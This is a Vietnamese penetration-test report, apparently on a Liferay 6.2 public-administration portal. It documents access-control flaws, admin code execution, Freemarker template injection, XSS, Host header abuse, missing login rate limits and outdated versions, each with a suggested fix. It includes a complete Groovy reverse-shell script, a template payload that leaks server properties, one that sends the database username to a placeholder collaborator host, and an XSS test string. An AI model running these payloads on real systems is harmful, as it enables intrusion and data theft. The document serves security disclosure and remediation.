Lỗi này cho phép một người dùng với quyền bình thường (không phải quyền quản trị) có thể xem được nội dung của những trang thuộc về người quản trị. 
## Cách thức khai thác
Đăng nhập vào một tài khoản với quyền công dân `congdan.cps@gmail.com`, tuy nhiên ta có thể truy cập được vào các path `/thu-tuc-hanh-chinh1`, `/quy-trinh`, `/quan-ly-du-lieu-danh-muc`, `/quan-ly-can-bo1`, `/quan-ly-cong-dan-to-chuc`, `/quan-ly-giay-to`, ...
![image](https://hackmd.io/_uploads/Bkj3IlR01l.png)
![image](https://hackmd.io/_uploads/HJqC8x0C1e.png)
![image](https://hackmd.io/_uploads/BypgDgCCyl.png)
![image](https://hackmd.io/_uploads/rJfbOl001g.png)
![image](https://hackmd.io/_uploads/B1i4uxA0kx.png)

## Ảnh hưởng
Lỗ hổng có thể cho một người dùng không có tài khoản đăng nhập truy cập vào những đường dẫn chứa thông tin nhạy cảm, gây lộ lọt thông tin cá nhân. 

## Nguyên nhân
Việc phân quyền chỉ dựa vào việc thực hiện chức năng `Hide from navigation menu` là không đủ khi người dùng có thể đoán được những path ẩn dựa vào công cụ brute-force:
![image](https://hackmd.io/_uploads/BJD_OlCRJl.png)

## Cách khắc phục
Cần thực hiện phân quyền theo role hoặc username, ở trong database hoặc qua middleware. 

# Arbitrary Code Execution
:::warning
Mức độ: Cao
:::

## Tổng quan
Người dùng với vai trò admin có thể thực hiện đoạn code bất kỳ thông qua hàm `exec()` từ đó có thể lấy được shell. 
## Cách thức khai thác

Người dùng có quyền admin có thể thực hiện một request tại với `struts_action` tới `/admin_server/edit_server`:
![image](https://hackmd.io/_uploads/H1oKjm0Rke.png)

Đọc file `EditServerAction` thì ta sẽ biết được cách thức để tạo ra một request hợp lệ. Những parameter quan trọng là `cmd`, `language` và `script` sẽ giúp chúng ta thực hiện được một đoạn code bất kỳ. Ngoài ra trên giao diện của trang `admin` ta cũng có thể tìm thấy chức năng này tại `Bảng điều khiển trung tâm > Cấu hình > Quản trị hệ thống > Script`:
![image](https://hackmd.io/_uploads/Byxd3QRR1e.png)

Ta có thể chạy đoạn script bất kỳ với ngôn ngữ tùy chọn, ở đây ta chọn là Groovy: 
```groovy=
String host="192.168.88.145";
int port=9999;
String cmd="sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){
    while(pi.available()>0)so.write(pi.read());
    while(pe.available()>0)so.write(pe.read());
    while(si.available()>0)po.write(si.read());
     so.flush();
     po.flush();
     Thread.sleep(50);
     try {
         p.exitValue();
         break;
        }
    catch (Exception e){}
};
    p.destroy();
s.close();
```

Khi qua debug ta sẽ thấy được đoạn code nhảy đến hàm `ScriptingUtil.exec()`:
![image](https://hackmd.io/_uploads/rJZEa7CCke.png)

Sau đó nhảy đến hàm `eval()`:
![image](https://hackmd.io/_uploads/H1jr6QC0ke.png)


Vậy là ta có thể có shell:
![image](https://hackmd.io/_uploads/HkH8tmAAkl.png)

## Ảnh hưởng
Lỗi này khi kết hợp với lỗ hổng Stored XSS có thể khiến cho hệ thống dễ bị khai thác mã từ xa bởi một người dùng với quyền không phải admin.

## Nguyên nhân
Người dùng được phép thực thi một đoạn code tùy ý trên hệ thống.


## Cách khắc phục
Hạn chế việc cho phép người dùng bất kỳ thực thi code trên hệ thống, nếu có cần thực hiện whitelist những lệnh có thể chạy được. 

# SSTI 
:::warning
Mức độ: Cao
:::

## Tổng quan
Người dùng với quyền admin có thể thực hiện chèn template vào trong engine của trang web, từ đó gây ra những đoạn code có thể thực thi được trên server, gây lộ lọt thông tin về biến môi trường. 

## Kịch bản khai thác 
Đầu tiên, chúng ta cần đăng nhập vào tài khoản `admin` và tạo ra một template mới bằng cách nhấn vào `Thêm cấu trúc > Thiết lập cấu trúc với trường Boolean > Chọn cấu trúc vừa lưu > Thêm biểu mẫu > Chọn biểu mẫu > Thêm biểu mẫu với nội dung là template Freemaker > Chọn biểu mẫu vừa ghi > Lưu > Xuất bản`

![image](https://hackmd.io/_uploads/Syj-oSJJeg.png)
![image](https://hackmd.io/_uploads/HkQEsS1ygx.png)
![image](https://hackmd.io/_uploads/Hk35oSkJee.png)

Sau khi xuất bản thành công thì khi ta quay về trang chủ ta có thể xác nhận rằng server đã render template của ta:
![image](https://hackmd.io/_uploads/S1D0hH1ylx.png)

Bây giờ ta có thể xây dựng payload để có thể leak được environmnet variables của server như sau: 
```
<#list propsUtil.getProperties()?keys as key>
<#if key?lower_case?contains("admin")>
${key} = ${propsUtil.get(key)}<br>
</#if>
</#list>
```

Để leak những thông tin của admin: 
![image](https://hackmd.io/_uploads/rklaTHykee.png)

Ngoài ra ta có thể leak được cả thông tin của database và gửi về cho Collaborator của ta như sau:

```
${httpUtil.URLtoString("http://yourcollab.com/props?user=" + propsUtil.get("jdbc.default.username"))}
```

![image](https://hackmd.io/_uploads/r1YLk8kJgl.png)


## Ảnh hưởng
Kết hợp với lỗ hổng Stored XSS thì kẻ xấu có thể lấy được nội dung của biến môi trường trên server mà không cần tài khoản admin. Từ đó có thể gây ra những thiệt hại lớn hơn như việc lộ lọt dữ liệu hay thực thi mã từ xa. 

## Nguyên nhân
Xảy ra do ứng dụng web cho phép một người dùng với quyền admin của có thể thêm template vào engine Freemaker và từ đó render ra đoạn code với ý đồ xấu. 

## Cách khắc phục
Loại bỏ chức năng thêm template engine đối với người dùng hoặc thực hiện filter whitelist với những hàm, những biến có thể dùng được 


# Reflected XSS 
:::info
Mức độ: Trung bình
:::
## Tổng quan
Đây là một lỗ hổng Reflected XSS cho phép người dùng có thể đăng ký tên tài khoản chứa nội dung độc hại
## Kịch bản khai thác
Lỗ hổng này cho phép người dùng nhập firstname `“><script>alert(“XSS”)</script>`. Khi đó khi người dùng thực hiện một truy vấn tìm kiếm sẽ dẫn tới Reflected XSS tại trang tìm kiếm của người dùng.

Sau đó khi ta vào trang tìm kiếm sẽ hiển thị ra đoạn `alert()`:
![image](https://hackmd.io/_uploads/Hku1Bobpke.png)

## Ảnh hưởng
Lỗ hổng này có thể bắt nguồn việc thiếu kiểm soát chặt chẽ trong input từ người dùng, gây ra những nguy cơ về những lỗi stored XSS với ảnh hưởng nghiêm trọng hơn. Từ đó có thể dẫn đến CSRF, session hijacking, ...

## Nguyên nhân
Điều này xảy ra do ở file `user.jsp`, tên của người dùng được đẩy thẳng trực tiếp vào `data-value`:
![image](https://hackmd.io/_uploads/Sybtro-61x.png)

## Cách khắc phục
Có thể set CSP cho trang web để không đoạn Javascript nào được thực hiện. Ngoài ra có thể thực hiện sanitize input với `HtmlUtil.escape(curUserName)`

# Host Header attack
:::info
Mức độ: Trung bình
:::

## Tổng quan
Lỗ hổng này cho phép việc thay đổi đường link gốc trong trang web khi mà trường `Host` trong header bị kiểm soát bởi kẻ tấn công, có thể gây ra tấn công phishing, XSS, ...

## Cách thức khai thác
![image](https://hackmd.io/_uploads/ByvIrFEkxg.png)
Thay đổi trường `Host` như trong request ở phía trên dẫn đến việc thay đổi toàn bộ đường dẫn trong các link của trang web. Có vẻ như trang web luôn tin tưởng vào trường `Host` này dẫn đến việc lúc nào cũng sẽ reflected trường này vào các đường link ở trong trang web. 

## Ảnh hưởng
Hacker có thể lợi dụng lỗ hổng này để thực hiện các cuộc tấn công khi kết hợp với những lỗi XSS, validation bypass, ... để thực hiện việc đánh cắp dữ liệu người dùng, chiếm tài khoản người dùng, ...

## Nguyên nhân
Việc server tin tưởng vào trường `Host` trong header là nguyên nhân chính dẫn đến lỗi này khi mà không thực hiện validate input đầu vào của header một cách chính xác 
## Cách khắc phục
Nên whitelist những `Host` header được sử dụng. 

# Stored XSS tại chức năng quản lý dữ liệu danh mục
:::info
Mức độ: Trung bình
:::
## Tổng quan
Người dùng với quyền admin có thể thực hiện XSS ở trong chức năng quản lý dữ liệu danh mục ở trong bảng điều khiển trung tâm. 
## Cách thức khai thác
`Đăng nhập admin > Trang quản trị viên > Nội dung > Quản lý dữ liệu danh mục > Nhóm danh mục > Chỉnh sửa danh mục bất kỳ`

Khi ta chỉnh sửa một danh mục bất kỳ như sau:
![image](https://hackmd.io/_uploads/SJfzQYukex.png)

Sau đó load lại trang "Quản lý danh mục", ta sẽ trigger được XSS: 
![image](https://hackmd.io/_uploads/BkaJQKuJel.png)

## Ảnh hưởng
Hacker có thể lợi dụng điều này, kết hợp với những lỗ hổng về Broken Access Control, nếu như có thể truy cập vào đường dẫn này sẽ gây ra session hijacking, CSRF, ...

## Nguyên nhân
Việc ứng dụng đưa input của người dùng vào các bảng mà không thực hiện sanitize vẫn là lí do chính cho việc lỗ hổng XSS này xảy ra. Ngoài ra không set Content Security Policy (CSP) cũng sẽ khiến trang web đứng trước nguy cơ thực hiện đoạn mã Javascript độc hại

## Cách khắc phục

- Cần thực hiện sanitize input đầu vào trước khi đưa dữ liệu vào các bảng
- Set CSP để phòng chống thực thi Javascript


# Limit Rate Login
:::info
Mức độ: Thấp
:::

## Tổng quan
Lỗi này cho phép một người dùng bất kỳ có thể đăng nhập sai bao nhiêu lần tùy ý.
## Kịch bản khai thác
Tại trang `/login` người dùng bất kỳ có thể thực hiện bruteforce mật khẩu nếu như mật khẩu của nạn nhân dễ đoán thông qua các wordlists có sẵn. 

Ngoài ra ở đường dẫn "Quên mật khẩu" cũng xảy ra lỗi tương tự khi kẻ tấn công có thể duyệt qua những email có thể xuất hiện

## Ảnh hưởng
Hacker có thể thực hiện bruteforce mật khẩu của người dùng hoặc lợi dụng để tấn công từ chối dịch vụ gây ảnh hưởng nghiêm trọng đến hạ tầng

## Nguyên nhân
Trang web không có cơ chế xác thực Captcha hay cơ chế "ban IP" trước kiểu tấn công brute force

## Cách khắc phục
Thêm cơ chế Captcha để chống bruteforce hoặc nếu có tài khoản đăng nhập sai quá 5 lần thì ban luôn account. 


# Lộ lọt phiên bản
:::success
Mức độ: Khuyến nghị
:::

## Tổng quan
Phiên bản các framework hay các thư viện của trang web bị lộ ra 
## Mô tả
Liferay 6.2:

 - CVE-2020-7961: Remote Code Execution qua dịch vụ JSON Web Services.
 - CVE-2019-11444: Execute OS Command.
 - CVE-2019-16891: Remote Code Execution qua dịch vụ JSON Deserialization
 
 Handlebars.js 4.0.5:
 - Có lỗ hổng như CVE-2021-23369, cho phép Remote Code Execution khi xử lý template không an toàn.

 Apache-Coyote/1.1:
 - Là thành phần của Apache Tomcat và đã lỗi thời, không còn được hỗ trợ.
 
## Cách khắc phục
 Cập nhật lên phiên bản mới nhất:
 
 - Liferay: Cập nhật lên phiên bản >= 7.x để vá các lỗ hổng đã công khai.
 - Handlebars.js: Sử dụng phiên bản >= 4.7.7 .
 - Apache-Coyote: Cập nhật Apache Tomcat lên phiên bản mới nhất